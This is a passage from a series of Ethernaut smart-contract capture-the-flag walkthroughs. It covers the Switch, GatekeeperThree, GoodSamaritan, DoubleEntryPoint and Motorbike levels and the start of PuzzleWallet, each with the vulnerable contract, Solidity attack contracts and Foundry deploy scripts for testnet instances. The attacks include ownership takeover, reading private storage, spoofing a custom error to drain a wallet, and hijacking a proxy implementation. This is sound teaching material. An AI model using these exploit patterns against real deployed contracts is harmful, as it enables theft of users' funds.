  data: "0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000",
});

In Foundry using forge:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

contract Switcher {
    address private immutable switchContract;
    bytes4 public onSelector = bytes4(keccak256("turnSwitchOn()"));
    bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

    constructor(address _switchContract) {
        switchContract = _switchContract;
    }

    function toogle() public {
        bytes
            memory data = hex"30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000";

        (bool success, ) = switchContract.call(data);
        require(success, "Toogle failed!");
    }
}

Now we can craft the script for deployment:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Switcher} from "../src/29_Switch.sol";

interface ISwitch {
    function switchOn() external view returns (bool);
}

contract PoC is Script {
    // Replace with your Switch instance
    address private immutable switchContract =
        0x71d674183F060C9819002181A2cDBa21520D17c2;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        Switcher switcher = new Switcher(switchContract);
        switcher.toogle();
        console2.log(
            "Is the switch on yet? ",
            ISwitch(switchContract).switchOn()
        );

        vm.stopBroadcast();
    }
}

And the command to run the script:

forge script script/29_Switch.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

Let's check the result:

🎉 Level completed 🎉

Takeaway

• Calldata encoding is a crucial part of the Ethereum Virtual Machine (EVM).

• Assuming positions in CALLDATA with dynamic types can be erroneous, especially when using hard-coded CALLDATA positions.

Reference

• Transaction Calldata Demystified: https://www.quicknode.com/guides/ethereum-development/transactions/ethereum-transaction-calldata

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
    GatekeeperThree public target;
    address public trick;
    uint private password = block.timestamp;

    constructor(address payable _target) {
        target = GatekeeperThree(_target);
    }

    function checkPassword(uint _password) public returns (bool) {
        if (_password == password) {
            return true;
        }
        password = block.timestamp;
        return false;
    }

    function trickInit() public {
        trick = address(this);
    }

    function trickyTrick() public {
        if (address(this) == msg.sender && address(this) != trick) {
            target.getAllowance(password);
        }
    }
}

contract GatekeeperThree {
    address public owner;
    address public entrant;
    bool public allowEntrance;

    SimpleTrick public trick;

    function construct0r() public {
        owner = msg.sender;
    }

    modifier gateOne() {
        require(msg.sender == owner);
        require(tx.origin != owner);
        _;
    }

    modifier gateTwo() {
        require(allowEntrance == true);
        _;
    }

    modifier gateThree() {
        if (
            address(this).balance > 0.001 ether &&
            payable(owner).send(0.001 ether) == false
        ) {
            _;
        }
    }

    function getAllowance(uint _password) public {
        if (trick.checkPassword(_password)) {
            allowEntrance = true;
        }
    }

    function createTrick() public {
        trick = new SimpleTrick(payable(address(this)));
        trick.trickInit();
    }

    function enter() public gateOne gateTwo gateThree {
        entrant = tx.origin;
    }

    receive() external payable {}
}

The hack

The GateKeeperThree is a really simple level. Nothing complex, just to follow the flow of each modifier. So let's check those modifiers:

Gate 1

modifier gateOne() {
    require(msg.sender == owner);
    require(tx.origin != owner);
    _;
}

We just have to call the construct0r() function to become the owner of the contract. This is solidity ^0.8, constructors are defined with the constructor keyword. The following is not a constructor, typo or not.

function construct0r() public {
        owner = msg.sender;
}

On top of that, the function lacks access control so anyone can call it. Already seen in previous levels. Same for the tx.origin != owner check. So let's move on.

Gate 2

modifier gateTwo() {
    require(allowEntrance == true);
    _;
}

To set allowEntrance to true, we need to call the getAllowance function. This function needs a password. And to get the password, we need to read the storage. However, before we can do that, we need to deploy the SimpleTrick contract by calling the createTrick function. Then we can read its storage at slot 2:

• With web3.js in the browser:

await web3.eth.getStorageAt("0x...your trick address here", 2);

• With Foundry:

bytes32 pwd = vm.load("0x...your trick address here", bytes32(uint256(2)));

Let's move on to the last modifier.

Gate 3

modifier gateThree() {
    if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
      _;
    }
}

So the contract needs to have a balance greater than 0.001 ether and must be prevented from being able to send it to our GateSkipperThree contract. So we can either add a fallback function that always reverts, or just make sure our contract can't receive funds by omitting the receive and fallback functions.

And... that's it.

Solution

Here is the full solution:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IKeeper {
    function owner() external view returns (address);
    function entrant() external view returns (address);
    function allowEntrance() external view returns (bool);
    function trick() external view returns (address);
    function construct0r() external;
    function getAllowance(uint _password) external;
    function createTrick() external;
    function enter() external;
}

contract GateSkipperThree {
    IKeeper public immutable keeper;
    address public trick;

    constructor(address _keeper) payable {
        keeper = IKeeper(_keeper);
        keeper.createTrick();
        trick = keeper.trick();
    }

    function attack(bytes32 _password) public {
        // Gate 1: Contract become owner, thanks to the lack of access control
        keeper.construct0r();
        require(keeper.owner() == address(this), "Contract isn't owner!");

        // Gate 2: Call getAllowance to get password
        keeper.getAllowance(uint256(_password));
        require(keeper.allowEntrance(), "allowEntrance isn't true!");

        // Gate 3: Deposit to keeper but revert on receive
        (bool success, ) = address(keeper).call{value: 0.0011 ether}("");
        require(success, "Deposit failed!");

        keeper.enter();
        require(keeper.entrant() == msg.sender, "Attack failed!");
    }

    fallback() external {
        require(true == false);
    }
}

Let's craft a script to facilitate the deployment:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {GateSkipperThree} from "../src/28_GateKeeperThree.sol";

contract PoC is Script {
    // Replace with your GoodSamaritan instance
    address gateKeepperThree = 0xe05Caa08305692ea6Bb2DB43E4c96a1e7A51FDB0;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        GateSkipperThree gateSkipperThree = new GateSkipperThree{
            value: 0.0011 ether
        }(gateKeepperThree);

        address trick = gateSkipperThree.trick();
        bytes32 pwd = vm.load(trick, bytes32(uint256(2)));

        console2.log("Password: ", uint256(pwd));

        gateSkipperThree.attack(pwd);
        console2.log("Entrant : ", gateSkipperThree.keeper().entrant());

        vm.stopBroadcast();
    }
}

Then you can run the script with the following command:

forge script script/28_GateKeeperThree.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

And check the result in the console:

🎉 Level completed 🎉

Takeaway

• Use of the receive & fallback functions.

• tx.origin != msg.sender.

• private doesn't mean secret in solidity.

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

A really fun challenge, with a simple goal and a pretty recent vulnerability introduced that we will need to be aware of from now on!

// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import {Address} from "../helpers/Address.sol";

contract GoodSamaritan {
    Wallet public wallet;
    Coin public coin;

    constructor() {
        wallet = new Wallet();
        coin = new Coin(address(wallet));

        wallet.setCoin(coin);
    }

    function requestDonation() external returns (bool enoughBalance) {
        // donate 10 coins to requester
        try wallet.donate10(msg.sender) {
            return true;
        } catch (bytes memory err) {
            if (
                keccak256(abi.encodeWithSignature("NotEnoughBalance()")) ==
                keccak256(err)
            ) {
                // send the coins left
                wallet.transferRemainder(msg.sender);
                return false;
            }
        }
    }
}

contract Coin {
    using Address for address;

    mapping(address => uint256) public balances;

    error InsufficientBalance(uint256 current, uint256 required);

    constructor(address wallet_) {
        // one million coins for Good Samaritan initially
        balances[wallet_] = 10 ** 6;
    }

    function transfer(address dest_, uint256 amount_) external {
        uint256 currentBalance = balances[msg.sender];

        // transfer only occurs if balance is enough
        if (amount_ <= currentBalance) {
            balances[msg.sender] -= amount_;
            balances[dest_] += amount_;

            if (dest_.isContract()) {
                // notify contract
                INotifyable(dest_).notify(amount_);
            }
        } else {
            revert InsufficientBalance(currentBalance, amount_);
        }
    }
}

contract Wallet {
    // The owner of the wallet instance
    address public owner;

    Coin public coin;

    error OnlyOwner();
    error NotEnoughBalance();

    modifier onlyOwner() {
        if (msg.sender != owner) {
            revert OnlyOwner();
        }
        _;
    }

    constructor() {
        owner = msg.sender;
    }

    function donate10(address dest_) external onlyOwner {
        // check balance left
        if (coin.balances(address(this)) < 10) {
            revert NotEnoughBalance();
        } else {
            // donate 10 coins
            coin.transfer(dest_, 10);
        }
    }

    function transferRemainder(address dest_) external onlyOwner {
        // transfer balance left
        coin.transfer(dest_, coin.balances(address(this)));
    }

    function setCoin(Coin coin_) external onlyOwner {
        coin = coin_;
    }
}

interface INotifyable {
    function notify(uint256 amount) external;
}

The hack

We are given three contracts in the GoodSamaritan level:

1. GoodSamaritan - The contract in charge of distributing the donations.

2. Coin - A very minimalist token implementation handling the users' balances.

3. Wallet - The wallet belonging to this good old sama.

How to drain the good old Sama's wallet?

Let's check the GoodSamaritan::requestDonation function:

function requestDonation() external returns(bool enoughBalance){
    // donate 10 coins to requester
    try wallet.donate10(msg.sender) {
        return true;
    } catch (bytes memory err) {
        if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
            // send the coins left
            wallet.transferRemainder(msg.sender);
            return false;
        }
    }
}

From there, we can either:

• request 10 coins many, many, many times, or...

• try to find a way to trigger the transferRemainder function to withdraw everything at once.

So, because we are lazy, let's try to withdraw everything at once!

The transferRemainder() function is protected by the onlyOwner modifier, so the only way to trigger it is by reverting with the NotEnoughBalance() custom error.

So what happens exactly when we request a donation? The Wallet::donnate10() function is called:

function donate10(address dest_) external onlyOwner {
    if (coin.balances(address(this)) < 10) {
        revert NotEnoughBalance();
    } else {
        coin.transfer(dest_, 10);
    }
}

This function reverts with the NotEnoughBalance() error only if the wallet's balance is less than 10. Otherwise, it forwards the call to the Coin::transfer function.

function transfer(address dest_, uint256 amount_) external {
    uint256 currentBalance = balances[msg.sender];

    if(amount_ <= currentBalance) {
        balances[msg.sender] -= amount_;
        balances[dest_] += amount_;

        if(dest_.isContract()) {
            INotifyable(dest_).notify(amount_);
        }
    } else {
        revert InsufficientBalance(currentBalance, amount_);
    }
}

This custom transfer() function is interesting because it calls the INotifyable::notify function if the destination address is a contract. And this relies on the INotifyable interface. So what if we implement the INotifyable interface to revert to the NotEnoughBalance() error if we receive 10 coins?

So the flow would be like this:

1. GoodSamaritan::requestDonation()

2. Wallet::donate10()

3. Coin::transfer()

4. INotifyable::notify()

5. ThanksForTheNotif::revert NotEnoughBalance()

6. wallet::transferRemainder()

Yes, that's right, a custom error thrown in a catch block from a try/catch can be thrown by any other contract since they are identified by their 4-byte selector!

There we have it. Upon receiving the notification from the donation, our contract will trigger a revert with the same custom error, which will have the same 4-byte selector, and pass the check in the requestDonation() function, triggering the wallet.transferRemainder(msg.sender) function.

Since custom errors are cheaper in gas than their require() alternatives, they have become best practice and this kind of hack in try/catch block might become more common.

Solution

Here is the ThanksForTheNotif contract that will do just that for us:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface INotifyable {
    function notify(uint256 amount) external;
}

interface IGoodOldSama {
    function coin() external returns (address);
    function wallet() external returns (address);
    function requestDonation() external returns (bool);
}

interface ICoin {
    function balances(address user) external view returns (uint256);
}

contract ThanksForTheNotif {
    IGoodOldSama private goodOldSama;
    ICoin private coin;
    address private wallet;

    error NotEnoughBalance();

    constructor(address _goodOldSama) {
        goodOldSama = IGoodOldSama(_goodOldSama);
        coin = ICoin(goodOldSama.coin());
        wallet = goodOldSama.wallet();
    }

    function notify(uint256 amount) public pure {
        if (amount == 10) {
            revert NotEnoughBalance();
        }
    }

    function attack() public {
        goodOldSama.requestDonation();
        require(coin.balances(wallet) == 0, "Attack failed!");
    }
}

Now, let's write a quick deployment script:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {ThanksForTheNotif} from "../src/27_GoodSamaritan.sol";

contract PoC is Script {
    // Replace with your GoodSamaritan instance
    address goodOldSama = 0x19bd36accED359007B00Baf460Eb07045c3396BD;

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        ThanksForTheNotif thanksForTheNotif = new ThanksForTheNotif(
            goodOldSama
        );
        thanksForTheNotif.attack();

        vm.stopBroadcast();
    }
}

The command to run the script:

forge script script/27_GoodSamaritan.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

🎉 Level completed 🎉

Takeaway

• Custom errors in a try/catch block can be thrown by any other contract since they are identified by their 4-byte selector.

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

A pretty long code base this time, which is a good exercise to divide the task into smaller parts so we don't get overwhelmed. This is closer to a proper security review with multiple contracts and interactions between them. It also introduces us to the Forta bots, which are an important tool to increase the safety of the overall ecosystem.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

// import "openzeppelin-contracts-08/access/Ownable.sol";
// import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";
import {Ownable} from "../helpers/Ownable-05.sol";
import {ERC20} from "@openzeppelin/contracts/token/ERC20/ERC20.sol";

interface DelegateERC20 {
    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) external returns (bool);
}

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
    function notify(address user, bytes calldata msgData) external;
    function raiseAlert(address user) external;
}

contract Forta is IForta {
    mapping(address => IDetectionBot) public usersDetectionBots;
    mapping(address => uint256) public botRaisedAlerts;

    function setDetectionBot(address detectionBotAddress) external override {
        usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
    }

    function notify(address user, bytes calldata msgData) external override {
        if (address(usersDetectionBots[user]) == address(0)) return;
        try usersDetectionBots[user].handleTransaction(user, msgData) {
            return;
        } catch {}
    }

    function raiseAlert(address user) external override {
        if (address(usersDetectionBots[user]) != msg.sender) return;
        botRaisedAlerts[msg.sender] += 1;
    }
}

contract CryptoVault {
    address public sweptTokensRecipient;
    IERC20 public underlying;

    constructor(address recipient) {
        sweptTokensRecipient = recipient;
    }

    function setUnderlying(address latestToken) public {
        require(address(underlying) == address(0), "Already set");
        underlying = IERC20(latestToken);
    }

    /*
    ...
    */

    function sweepToken(IERC20 token) public {
        require(token != underlying, "Can't transfer underlying token");
        token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
    }
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    function mint(address to, uint256 amount) public onlyOwner {
        _mint(to, amount);
    }

    function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
        delegate = newContract;
    }

    function transfer(
        address to,
        uint256 value
    ) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

contract DoubleEntryPoint is
    ERC20("DoubleEntryPointToken", "DET"),
    DelegateERC20,
    Ownable
{
    address public cryptoVault;
    address public player;
    address public delegatedFrom;
    Forta public forta;

    constructor(
        address legacyToken,
        address vaultAddress,
        address fortaAddress,
        address playerAddress
    ) {
        delegatedFrom = legacyToken;
        forta = Forta(fortaAddress);
        player = playerAddress;
        cryptoVault = vaultAddress;
        _mint(cryptoVault, 100 ether);
    }

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    modifier fortaNotify() {
        address detectionBot = address(forta.usersDetectionBots(player));

        // Cache old number of bot alerts
        uint256 previousValue = forta.botRaisedAlerts(detectionBot);

        // Notify Forta
        forta.notify(player, msg.data);

        // Continue execution
        _;

        // Check if alarms have been raised
        if (forta.botRaisedAlerts(detectionBot) > previousValue)
            revert("Alert has been triggered, reverting");
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

The hack

The goal of the DoubleEntryPoint level is to find the bug in CryptoVault contract and to protect it from being drained by implementing a Forta bot.

Find the bug

The code given is a bit complex, so let's break it done for clarity. We have 4 contracts to work with:

1. Forta - Related to the AlertBot we need to set up.

2. CryptoVault - The contract we need to protect. Handles the underlying token.

3. LegacyToken - A modified ERC20 token (LGT).

4. DoubleEntryPoint - The instance we are given and the so-called underlying ERC20 token (DET).

We know that the CryptoVault is vulnerable. It contains 100 LGT and 100 DET.

Let's forget the Forta contract for now. We will come back to it later.

Hard to say what's wrong with the CryptoVaults contract at first glance. So let's focus on the token contracts.

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
    DelegateERC20 public delegate;

    // ... access protected functions

    function transfer(address to, uint256 value) public override returns (bool) {
        if (address(delegate) == address(0)) {
            return super.transfer(to, value);
        } else {
            return delegate.delegateTransfer(to, value, msg.sender);
        }
    }
}

The LGT token has a custom transfer function that delegates the transfer to another contract if delegate variable is set, the delegate being the DoubleEntryPoint contract.

In the DET token, we have a modifier and a delegateTransfer() function (we don't need anything related to Forta at this point):

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {

    modifier onlyDelegateFrom() {
        require(msg.sender == delegatedFrom, "Not legacy contract");
        _;
    }

    function delegateTransfer(
        address to,
        uint256 value,
        address origSender
    ) public override onlyDelegateFrom fortaNotify returns (bool) {
        _transfer(origSender, to, value);
        return true;
    }
}

The modifier is making sure that only the delegatedFrom contract can call the delegateTransfer function. The delegateTransfer function is the one that is called by the LegacyToken contract.

Now, back to the CryptoVault contract. There is nothing really interesting except the sweeppToken() function.

function sweepToken(IERC20 token) public {
    require(token != underlying, "Can't transfer underlying token");
    token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}

This function allows to transfer the whole balance of any token from the CryptoVault contract to the sweptTokensRecipient, as long as it is not the underlying token.

OK. But... what if we try to transfer the LGT token instead?

The CryptoVault::sweepToken will call the LegacyToken::transfer which will forward the call to the DoubleEntryPoint::delegateTransfer.

At this point, msg.sender is the CryptoVault contract and value is the CryptoVault LGT's balance (equal to the DET balance). So this will bypass the onlyDelegateFrom check. Only this is not transferring the LGT token anymore, but the underlying DET token since we are inside the DET contract!

Here is the chain of events illustrated:

1. CryptoVault::sweepToken(LGT)

2. LegacyToken::transfer({ to: sweptTokenRecipient, value: LGT.balanceof(CryptoVault) })

3. DoubleEntryPoint::delegateTransfer({ to: sweptTokenRecipient, value: LGT.balanceof(CryptoVault), origSender: CryptoVault })

Implement the Forta bot

To mitigate this vulnerability, we need to implement a Forta AlertBot that will trigger an alert if origSender == cryptoVault in the delegateTransfer function, via the fortaNotify modifier.

In the Forta contract, there is a setDetectionBot function that we can use to implement our bot. And we have the following IDetectionBot interface:

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

So we have to create the logic for the handleTransaction() function that will call the IForta.raiseAlert function if origSender == cryptoVault.

DoubleEntryPoint::fortaNotify() is passing msg.data to the Forta::notify() function.

• Initially, msg.data is the data for the function delegateTransfer(address to, uint256 value, address origSender) function.

• Then, in Forta::notify(), the data is updated to the data of the handleTransaction(user, msgData) function.

So that will look something like this:

handleTransaction(user, msgData);

Where msgData == delegateTransfer(to, value, origSender);

So to access the origSender variable, we need to understand how a calldata is structured.

We can use a bit of assembly to access the origSender variable:

assembly {
    origSender := calldataload(0xa8)
}

Solution

Here is the full solution for the AlertBot contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IDetectionBot {
    function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
    function raiseAlert(address user) external;
}

contract AlertBot is IDetectionBot {
    address private immutable cryptoVault;

    constructor(address _cryptoVault) public {
        cryptoVault = _cryptoVault;
    }

    function handleTransaction(
        address user,
        bytes calldata msgData
    ) external override {
        address origSender;
        assembly {
            origSender := calldataload(0xa8)
        }

        if (origSender == cryptoVault) {
            IForta(msg.sender).raiseAlert(user);
        }
    }
}

Next, let's write the script that we will use to deploy our contract:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script} from "forge-std/Script.sol";
import {AlertBot} from "../src/26_DoubleEntryPoint.sol";
import {IERC20} from "@openzeppelin/contracts/token/ERC20/IERC20.sol";

interface IDoubleEntryPoint {
    function cryptoVault() external view returns (address);
    function forta() external view returns (IForta);
}

interface IForta {
    function setDetectionBot(address detectionBotAddress) external;
}

contract PoC is Script {
    // Replace with your DoubleEntryPoint instance
    IDoubleEntryPoint doubleEntryPoint =
        IDoubleEntryPoint(0x1Ac3aD234aFEE64572c28242BF0197E1e8CaA717);

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address cryptoVault = doubleEntryPoint.cryptoVault();
        AlertBot alertBot = new AlertBot(cryptoVault);
        doubleEntryPoint.forta().setDetectionBot(address(alertBot));

        vm.stopBroadcast();
    }
}

Then you can run the script with the following command:

forge script script/26_DoubleEntryPoint.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

🎉 Level completed 🎉

Takeaway

• Detection Bots can be used to monitor any activity on the blockchain and trigger alerts.

Reference

• Forta bot: https://docs.forta.network/en/latest/

• CallData structure: https://docs.soliditylang.org/en/latest/abi-spec.html#abi

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

// import "openzeppelin-contracts-06/utils/Address.sol";
// import "openzeppelin-contracts-06/proxy/Initializable.sol";
import {Address} from "../helpers/Address.sol";
import {Initializable} from "@openzeppelin/contracts/proxy/utils/Initializable.sol";

contract Motorbike {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    struct AddressSlot {
        address value;
    }

    // Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
    constructor(address _logic) public {
        require(
            Address.isContract(_logic),
            "ERC1967: new implementation is not a contract"
        );
        _getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
        (bool success, ) = _logic.delegatecall(
            abi.encodeWithSignature("initialize()")
        );
        require(success, "Call failed");
    }

    // Delegates the current call to `implementation`.
    function _delegate(address implementation) internal virtual {
        // solhint-disable-next-line no-inline-assembly
        assembly {
            calldatacopy(0, 0, calldatasize())
            let result := delegatecall(
                gas(),
                implementation,
                0,
                calldatasize(),
                0,
                0
            )
            returndatacopy(0, 0, returndatasize())
            switch result
            case 0 {
                revert(0, returndatasize())
            }
            default {
                return(0, returndatasize())
            }
        }
    }

    // Fallback function that delegates calls to the address returned by `_implementation()`.
    // Will run if no other function in the contract matches the call data
    fallback() external payable virtual {
        _delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
    }

    // Returns an `AddressSlot` with member `value` located at `slot`.
    function _getAddressSlot(
        bytes32 slot
    ) internal pure returns (AddressSlot storage r) {
        assembly {
            r.slot := slot
        }
    }
}

contract Engine is Initializable {
    // keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
    bytes32 internal constant _IMPLEMENTATION_SLOT =
        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

    address public upgrader;
    uint256 public horsePower;

    struct AddressSlot {
        address value;
    }

    function initialize() external initializer {
        horsePower = 1000;
        upgrader = msg.sender;
    }

    // Upgrade the implementation of the proxy to `newImplementation`
    // subsequently execute the function call
    function upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) external payable {
        _authorizeUpgrade();
        _upgradeToAndCall(newImplementation, data);
    }

    // Restrict to upgrader role
    function _authorizeUpgrade() internal view {
        require(msg.sender == upgrader, "Can't upgrade");
    }

    // Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
    function _upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) internal {
        // Initial upgrade and setup call
        _setImplementation(newImplementation);
        if (data.length > 0) {
            (bool success, ) = newImplementation.delegatecall(data);
            require(success, "Call failed");
        }
    }

    // Stores a new address in the EIP1967 implementation slot.
    function _setImplementation(address newImplementation) private {
        require(
            Address.isContract(newImplementation),
            "ERC1967: new implementation is not a contract"
        );

        AddressSlot storage r;
        assembly {
            r_slot := _IMPLEMENTATION_SLOT
        }
        r.value = newImplementation;
    }
}

The hack

Dencun upgrade (Feb 2024)

NOTE: The "old" solution for this challenge is not working anymore since the Dencun upgrade. The issue comes from the new behavior of the selfdestruct opcode which doesn't remove the contract's bytecode unless the contract is created AND self-destructed in the same transaction. See EIP6780.

Contract Self Destructed, but was later reinitalized with new ByteCode

However, according to this github thread, it seems that it is still doable: OpenZeppelin/ethernaut#701

I will update if I crack it. For information purposes, I have kept the old solution below.

Old solution

In order to self-destruct the Engine contract, we need to upgrade it to a new implementation since there is no selfdestruct() in this one. We can call the upgradeToAndCall() function for that, but we first need to become the upgrader inside the Engine contract to pass the _authorizeUpgrade() access check.

function _authorizeUpgrade() internal view {
    require(msg.sender == upgrader, "Can't upgrade");
}

There is no way to do that by calling the Motorbike contract directly. But, we see that the Motorbike contract is using a delegatecall to initialize the Engine contract. This means that, as far as the Engine knows, Engine::upgrader hasn't been set yet (still address(0)), so we can call the initialize() function from our exploit contract directly.

Let's get the current Engine implementation address:

• In your Ethernaut browser console:

await web3.eth.getStorageAt(
  instance,
  "0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc"
  // => 0x000000000000000000000000239bcf976042946e51690c2de9fea5d017eb282c
  // => 0x239bcf976042946e51690c2de9fea5d017eb282c
);

• In Foundry using forge:

address engine = address(
            uint160(
                uint256(
                    vm.load(
                        motorbikeInstance,
                        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
                    )
                )
            )
        );

Then, we can upgrade the Engine contract to a new implementation address with the upgradeToAndCall() function and call the boom() function to self-destruct it.

Solution

Let's implement the code accordingly:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

interface IEngine {
    function initialize() external;
    function upgradeToAndCall(
        address newImplementation,
        bytes memory data
    ) external payable;
}

contract Bicycle {
    IEngine private immutable engine;

    constructor(address _engine) {
        engine = IEngine(_engine);
    }

    function attack() public {
        // 1. Initialize the engine contract
        engine.initialize();
        // 2. Upgrade the engine contract to a new implementation and kill it
        engine.upgradeToAndCall(
            address(this),
            abi.encodeWithSignature("Boom()")
        );
    }

    function boom() external {
        selfdestruct(payable(msg.sender));
    }
}

Here is the deployment script for convenience:

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.20;

import {Script, console2} from "forge-std/Script.sol";
import {Bicycle} from "../src/25_Motorbike.sol";

contract PoC is Script {
    // Replace with your Motorbike instance
    address private immutable motorbike =
        0x72DDB3C8b89C235a6368DC094066e21AbE8759Cc; 

    function run() external {
        uint256 deployer = vm.envUint("PRIVATE_KEY");
        vm.startBroadcast(deployer);

        address engineAddress = address(
            uint160(
                uint256(
                    vm.load(
                        motorbike,
                        0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc
                    )
                )
            )
        );

        console2.log("Engine address: ", engineAddress);

        Bicycle bicycle = new Bicycle(engineAddress);
        bicycle.attack();

        vm.stopBroadcast();
    }
}

You can run the script with the following command:

forge script script/25_Motorbike.s.sol:PoC --rpc-url sepolia --broadcast --verify --etherscan-api-key $ETHERSCAN_API_KEY

However, you will get this since the Dencun upgrade and won't pass this level:

🎉 Level not completed 🎉

Takeaway

• UUPS Proxies are better than the older EIP-1967 proxies but must be carefully implemented.

• Sensitive functions such as contract upgrades should be protected by access control.

You can find all the codes, challenges and their solutions on my GitHub: https://github.com/Pedrojok01/Ethernaut-Solutions/

The Contract

We are back to the delegatecall caveats with the Puzzle Wallet, which introduces proxy and upgradeable contracts along with their associated vulnerabilities.

// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
    address public pendingAdmin;
    address public admin;

    constructor(
        address _admin,
        address _implementation,
        bytes memory _initData
    ) UpgradeableProxy(_implementation, _initData) {
        admin = _admin;
    }

    modifier onlyAdmin() {
        require(msg.sender == admin, "Caller is not the admin");
        _;
    }

    function proposeNewAdmin(address _newAdmin) external {
        pendingAdmin = _newAdmin;
    }

    function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
        require(
            pendingAdmin == _expectedAdmin,
            "Expected new admin by the current admin is not the pending admin"
        );
        admin = pendingAdmin;
    }

    function upgradeTo(address _newImplementation) external onlyAdmin {
        _upgradeTo(_newImplementation);
    }
}

contract PuzzleWallet {
    address public owner;
    uint256 public maxBalance;
    mapping(address => bool) public whitelisted;
    mapping(address => uint256) public balances;

    function init(uint256 _maxBalance) public {
        require(maxBalance == 0, "Already initialized");
        maxBalance = _maxBalance;
        owner = msg.sender;
    }

    modifier onlyWhitelisted() {
        require(whitelisted[msg.sender], "Not whitelisted");
        _;
    }

    function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
        require(address(this).balance == 0, "Contract balance is not 0");
        maxBalance = _maxBalance;
    }

    function addToWhitelist(address addr) external {
        require(msg.sender == owner, "Not the owner");
        whitelisted[addr] = true;
    }

    function deposit() external payable onlyWhitelisted {
        require(address(this).balance <= maxBalance, "Max balance reached");
        balances[msg.sender] += msg.value;
    }

    function execute(
        address to,
        uint256 value,
        bytes calldata data
    ) external payable onlyWhitelisted {
